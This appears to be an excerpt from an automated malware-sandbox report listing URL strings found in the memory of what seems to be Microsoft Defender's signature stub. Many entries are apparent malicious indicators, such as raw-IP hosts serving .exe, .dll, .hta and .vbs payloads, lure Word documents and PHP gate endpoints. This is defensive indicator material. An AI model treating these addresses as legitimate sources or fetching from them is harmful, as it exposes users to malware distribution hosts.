        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://119.249.54.113/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://119.92.89.144/tmp/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://120.125.201.101/logo/
        Source: MpSigStub.exe, 00000023.00000003.18334799670.0000015B1A704000.00000004.00000001.sdmpString found in binary or memory: http://120061996-783405463700123057.preview.editmysite.com/uploads/1/2/0
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://121.14.
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://122.228.228.7
        Source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: http://123support.online/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://123zphimonline.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1/down/list2.txt
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1/m.htmwidth=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1/tracking?source=
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:20202/remind.html
        Source: MpSigStub.exe, 00000023.00000003.18300585182.0000015B1A681000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:27777/?inj=http://
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:5
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:5555/
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:8000/web.html?url=yac.mx&rate=501&id=%s&key=%s&pm=1x
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:8081/dial.html?
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:8089/index.html?
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:8332
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:8545
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:9600/IperiusHSa
        Source: RegAsm.exe, 00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://13.233.183.227/de/lngukm2012920/bestellungen/zahlung
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://131.153.38.125/
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://134.249.116.78/cloud.php/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://139.162.
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://144.217.14.173/doc.doc
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://149.20.4.69
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://149.202.110.58/document_012001.doc
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://149.3.170.235/qw-fad/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://151.248.115.253/%sproc0%%sproc0%exit
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://152.89.218.86/
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://155.138.254.3/ok.js
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://158.255.1.137/1/live.php
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://158.255.5.220
        Source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmpString found in binary or memory: http://159.8.31.231/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://164.132.171.89/promo.php
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://165.227.7.138/index.hta
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://167.114.35.111/~miraclen/sul2/sul2.exe
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://169.54.172.92/coreslibri.zip
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://170.130.55.135/api.php
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://172.16.1.1/exm.rtf
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://172.245.119.81/.----------------------.------------------------------.-/s.wbk
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://172.98.73.57
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://173.201.215.95/depmex/xhi05bs8.php?id=2809310
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://173.208.139.170/s.txt
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://178.128.11.199/qtx.
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://178.62.19.66/campo/v/v
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://178.79.137.25/campo/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://179.43.158.187/PhtJFr0fvBk2.php
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://181.174.166.137/sys/f4.exe
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://184.105.163.238/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://185.14.30.131/api.php
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://185.14.31.93/nuzq5lag7htb.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://185.141.25.168/check_attack/
        Source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmpString found in binary or memory: http://185.153.198.216:8010/UserService
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://185.165.29.36/11.mov
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://185.165.30.31
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://185.172.110.217/kvsn/image.png
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://185.172.110.217/robx/remit.jpg
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://185.180.197.66/2vjdz6jaqzeiq.php
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://185.183.98.14/fontsupdate.php
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://185.185.25.175/ref45.php
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://185.22.153.9/desktop-u2u8a6r/nature/
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://185.22.153.9/desktop-u2u8a6r/nature/prey.dot
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://185.225.19.240/dmenconsvc.dll
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://185.236.231.209/xcel/copy/xel.phpmethod=post
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://185.236.231.210/test/en/dsf.php
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://185.239.242.71
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://185.243.215.213/sys_info.vbs
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://185.250.149.128/
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://185.38.142.91/awo/
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://185.38.142.91/awo/next.php
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://185.82.218.2/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://185.82.218.30/44313
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://185.99.2.83/frte1z0xiwu8q.php
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://187.157.146.147/m0rpheus/index.php?mon=
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://188.127.254.159/
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://188.166.41.131/momo.php
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://189.1.168.10/~festaefe/1024bit.php
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://190.14.37.190/
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: http://190.14.37.191/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://191.101.239.86/root/migytkyt5bberd
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://192.168.0.108/download.ps1
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://192.168.1.60/6464.exe
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: http://192.168.100.5/00ButtonTest.exe
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://192.168.213.131/logo.doc
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://192.168.88.
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://192.189.25.17/cgbin/ukbros
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://192.227.228.85/.--...........................................................................
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://192.236.147.189/execute/uploads/Excel.sct
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://192.3.141.134/document_m.doc
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://192.3.141.173/word/
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://192.3.152.134/nda/document.doc
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://192.3.22.5/.-................................................................................
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://193.107.19.250:89/users/gigi_eli/ax.php
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://193.203.202.55/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://193.38.55.92/gfmppbpq
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://194.145.227.21sys=$(date
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://194.178.112.202
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://194.5.249.101/api.php
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://194.5.249.107/2nquxqz2ok4a45l.php
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://195.123.210.174/
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://195.123.219.21/campo/t3/t3d
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://195.123.220.249/campo/t2/t2dcdddebp%&c
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://195.123.235.1/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://195.225.176.34/ad/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://195.226.220.112/~admin/.
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://195.5.116.250/ex/static.php
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://195.78.108.
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://195.95.218.173/dl/dl.php?
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://195.95.218.173/troys/
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://198.12.127.217/.--------------------------.--------------........-...................-/_.....
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://198.23.212.187/_......................................_......................-/
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: http://198.23.213.25/document.doc
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://198.23.251.121/_--_-_---_-_--__------_.......................................................
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://198.46.132.185/.--_------------------------------------------.-----/
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://198.46.201.115/.-...................................................-.-/..-------------------
        Source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmpString found in binary or memory: http://198.50.114.16
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://1animalsnames.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://1bestgate.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://1lxtjdias-pod:8080/stage3.exe
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://200.159.128.
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://200.63.45.105/duiss/duiss
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://200.63.45.105/sado/sado.exe
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://200.74.240.151/saturno/w7.txt
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://200.74.240.151/saturno/w8.txt
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://200.98.142.117/sys02/01.exe
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://2010-kpss.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://2012-wallpaper-hd.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://2014secimleriturkiye.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://202.104.11.94
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://203.199.200.61
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://205.177.124.74/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://205.185.116.78/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://205.185.122.246/FQL66n
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://205.185.122.246/b9xbb3
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://205.185.122.246/files/may13.bin
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://205.185.122.246/khkwZF
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://205.185.125.104/1t1nnx
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: http://205.185.125.104/pqbtwj
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: http://205.185.125.104/yxsz8k
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://205.252.24.246/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://207.154.225.82/report.json?type=mail&u=$muser&c=
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://207.226.171.35/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://207.226.171.36/
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: http://207.226.177.108/sc.exe
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://207.58.162.237/spy/cartao.scr
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://208.115.201.245/ideal.zip
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://208.95.104.
        Source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmpString found in binary or memory: http://209.141.61.124/Q-2/
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: http://209.141.61.124/q-2/dy5434app14.exe
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://209.141.61.124/q-2/img_0107803.exe
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://209.62.108.213/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://209.62.108.220/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://20vp.cn/moyu/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://210302.top/
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://212.109.196.67/gateway.php
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://212.129.31.67
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://212.192.241.203/xx/kl.exe
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://212.192.241.203/xx/kl.exex
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpString found in binary or memory: http://212.237.58.208/0607/
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://212.86.115.71/template.doc
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://213.159.213.195/d.exe
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://216.170.114.73/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://216.172.154.248/pic/img.js
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://216.172.172.40/~agora546/cardoso/dilma.zip
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://217.73.6
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: http://217.8.117
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://217.8.117.60/arty.exe
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://217.8.117.63/
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://218.204.253.145/setup.exe
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://220.73.162.2/Download
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://220.73.162.4/Download
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://22112017.flashplayeron.com
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://223.244.225.3:
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://22y456.com/
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://23.244.141.185/cgi-bin
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://23.249.163.163/qwerty.exe
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://23.95.122.24/..-.-.-.-.-.-.-.-.-.-.-._---------_-------_-------....-.-/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://23.95.122.25/..-.-................-.....-------------/
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://23.95.122.25/..-.-................-.....-------------/.......................................
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: http://23.95.122.31/concord/
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://23.95.231.200/images/footer1.dll
        Source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmpString found in binary or memory: http://24-7-search.com/
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://2fa.com-token-auth.com/
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://2ndrequest.me/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://2p8s.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://2p8s.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://31.192.209.
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://31.192.210.
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://31.192.211.
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://31.210.20.225:8080/server.exe&quot;)
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://3117488091/lib/jquery-3.2.1.min.js
